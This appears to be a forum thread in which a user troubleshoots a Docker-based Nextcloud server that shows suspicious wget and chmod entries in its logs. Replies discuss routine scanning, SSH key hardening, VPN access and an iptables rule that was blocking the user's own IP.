This is running everything in Docker except for a reverse proxy and certbot.
Docker-compose with a group of containers is as “baked in” as you’ll get with Docker as each container is really only supposed to run a single process. With Docker-compose, you can run them collectively as a group.
From there, using ansible, it setup everything.
Everything worked fine for about four-five days.
Today it stopped.
While searching why it was not working, I came across the following lines in the access.log
I found it quite odd the part that it does a wget to a website.
I don’t know if it’s invoking a shell previous to the GET.
Then it does a chmod 777.
I am wondering where “I went wrong” with the server.
Yesterday when I saw that wget and chmod 777 entries, I went the nuclear option and deleted the entire server.
I am rebuilding the server today with @Reiner_Nippes ’ ansible script.
Fresh Debian10 machine.
I usually use keys for ssh access, yet while setting up the server I still have not setup keys for this.
So:
no ssh keys
password were / are super long (53 random characters)
Any thoughts were I could have gone wrong and opened up the door for this?
your log looks like the ordinary script-scanned-server-log. to me.
half of the internet traffic today is port-scanning and vulnerability searching.
i think you just saw port knocking but no open doors.
nope. keys are more secure than passwords.
isn’t that the same as ssh? i mean if ssh would be unsecure you would read it at once on any it news page plus several twitter accounts.
if you want to be more secure you may want to restric the ssh access to a defined ip address.
I’m not saying keyed SSH is insecure, but from a network security standpoint, SSH is not at all the same as IPSec or OpenVPN. You would still be using SSH inside the VPN tunnel, drastically increasing security. At that point, the VPN has to be successfully hacked before an attempt can even be made to access SSH.
He just said he was using password auth SSH, and it appears his system was compromised, so I think there’s something to be said for not skimping on security.
Thanks to both.
I am going to setup new ssh-keys on this laptop.
Then I will copy the keys (plus my work station’s keys) to the server.
Then I will disable password ssh login, and disable root login.
Now, another interesting finding:
After re-doing the server last night with @Reiner_Nippes’ script, I tried today to login.
It does not work… I don’t get the login page.
If I ping the server at nextcloud.MYDOMAIN.com the ping returns perfectly.
If I login from a mobile phone (different IP address) the welcome page works fine.
So somewhere the IP I have is getting blocked.
I checked the nginx logs (access.log and error.log) and I do NOT see the hits from my browser (laptop with IP that is blocked).
I then checked fail2ban with:
fail2ban-client status sshd
And my IP is NOT listed there.
Any idea where Debian and/or the installation of Reiner’s script could be dropping the packets from my laptop?
where did you see the evidence that that happened?
no idea. if you can connect from remote the system should be fine.
but you may check the firewall status.
the playbooks enables the firewall and opens port 22,80 and 443 to the world. normally that is fine as well.
This is an Internet-scale port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second, from a single machine.
You say it isn’t in your playbook. He says he didn’t install it. It came from somewhere.
So it was Debian’s iptables that was blocking my IP address.
I edited the rules, reloaded them, and now I can access the new instance. I used this answer to perform the edits.
I will keep an eye out on the logs for anything abnormal.
